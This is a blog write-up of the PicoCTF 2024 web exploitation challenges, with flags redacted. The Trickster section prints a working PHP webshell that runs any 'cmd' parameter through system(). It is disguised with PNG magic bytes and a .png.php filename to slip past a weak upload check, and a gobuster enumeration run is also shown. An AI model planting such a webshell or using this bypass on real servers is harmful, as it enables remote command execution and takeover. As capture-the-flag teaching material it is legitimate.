PicoCTF 2024: Web Exploitation
August 02, 2024
I have considered myself… practically done with the Forensics category for PicoCTF 2024. It truly is a guessfest whether or not your first solution is correct - I can't believe throwing out a random find
into the command-line actually gave me the answer for Mob psycho…
Well, here we go again, this time in my arguably best non-forensics category - Web Exploitation! Once again, I will be going through each of the challenges and solving them, while writing out my thought process for each challenge.
Same thing as Forensics, this blogpost will describe the challenges and give the solutions to them - but I will not be giving out the flag in its entirety. All solutions with the flag in plain text will have the flag replaced by
picoCTF{flag}
.
WebDecode
Difficulty: Easy
Categories: none
Well… We're thrown straight into a website that looks really suspicious. I'll perform due dilligence and… inspect the site HTML. Nothing in the home page, so I'll go into the About page.
And upon loading the About page, wow, the very loud text saying "Try inspecting the page!! You might find it there" really confirms that I'm getting somewhere.
Hitting F12 to open up my DevTools and I immediately see a weird section of HTML:
1
2
3
4
5
6
<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDdiOTFjNzl9">
<h1>
Try inspecting the page!! You might find it there
</h1>
<!-- .about-container -->
</section>
That string looks very suspicious. One quick run into the base64 decoder again, using:
1
$ echo "cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDdiOTFjNzl9" | base64 -d
Aaaaaaaaand we've got it! Very simple challenge.
Unminify
Difficulty: Easy
Categories: obfuscation, minification
Yet another webpage, similar to WebDecode above. Once again, let's open up our DevTools and scan through the HTML.
It didn't take long before I reached this section of HTML:
1
<p class="picoCTF{flag}"></p>
That's our flag, time to copy it and submit it.
Bookmarklet
Difficulty: Easy
Categories: obfuscation, browser
The website gives us another site, in the same template as Unminify. It also gives us a JavaScript bookmarklet to run as well. As it describes itself, it's a bookmarklet - very similar to my Kamaitachi maimai DX import script. Let's create a quick bookmark and throw this in as the URL.
As soon as we click the bookmarklet, the flag shows up as an alert!
IntroToBurp
Difficulty: Easy
Categories: none
Well, as described by the challenge name, we'll need BurpSuite for this. Let's pull up BurpSuite and open the website in BurpSuite's browser (Proxy > Intercept > Turn on Intercept).
We see a little form that tells us to put our information in, and being the sane person that I am, I will put in my fully 100% real information into this.
Hitting the Register button, while forwarding the packet as-is to the server, brings us to another form.
It's asking for an OTP code… but I haven't received anything. Weird. Let's try throwing in a random string… like a
and submit it. BurpSuite nicely catches that request for us, and we can see the form data otp=a
in the raw request packet. Let's try… removing that and see what happens!
After removing the OTP code from the form data, we got ourselves a nice malformed… well… form data sent over the wire. Let's see how the server reacts… And we got our flag!
Trickster
Difficulty: Medium
Categories: none
This is actually… a pretty tough one if you don't know where to immediately start. I opened up the site that the challenge gave, and there was no clear entry points to… anything, really. Uploading a PNG only gets a result string shown to you, like below.
I tried accessing a random directory, e.g. atlas.picoctf.net:<port>/what
, and I got a 404 Not Found. That's expected. I also see this is running Apache, which means… there's PHP. But we haven't seen any clear entry points to get an arbitrary PHP script running here.
Let's get back to the root site. Sitting here won't do us any good, I guess it's time to use some tools? Using gobuster
, and running a brute-force for URIs like such:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gobuster dir --url http://atlas.picoctf.net:<port>/ --wordlist /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://atlas.picoctf.net:<port>/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 285]
/.htpasswd (Status: 403) [Size: 285]
/robots.txt (Status: 200) [Size: 62]
/server-status (Status: 403) [Size: 285]
/uploads (Status: 301) [Size: 333] [--> http://atlas.picoctf.net:49884/uploads/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
We're seeing robots.txt
that we can access, and /uploads
being redirected to the root directory - looks like there's gonna be an accessible folder there. Let's try accessing robots.txt
…
1
2
3
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
So the very root directory of /uploads/
is not crawled, along with the file instructions.txt
. Let's try looking at instructions.txt
.
1
2
3
4
5
6
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
Interesting… It looks like this doesn't do much validation on the PNG files themselves, other than checking for the .png
extension existing in the file name, and the first few bytes containing PNG
. I guess the uploaded files will also be stored under /uploads/<file_name>
? That's an entry for our PHP now, no?
I will modify easy-simple-php-webshell a tiny bit, so it has the magic bytes for PNG at the top.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PNG
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
Along with that, I'll add the .png
extension, saving it as webshell.png.php
so it passes the extension check. Let's try uploading this. The form accepted it without any complaints! Time to try accessing this webshell under /uploads/webshell.png.php
.
We're in. Let's try running ls ../
to see the root directory. There's a weird file with the name MQZWCYZWGI2WE.txt
. A simple cat
on this file finally gives us the flag we're looking for!
Afterwords
The final challenge of this category - titled "elements", honestly deserves a post of its own. It's of another level, and I've never seen myself so stuck on one. With that being said, that's practically all the solvable web challenges for PicoCTF 2024 as of writing this post. Thank you all for reading through to the end!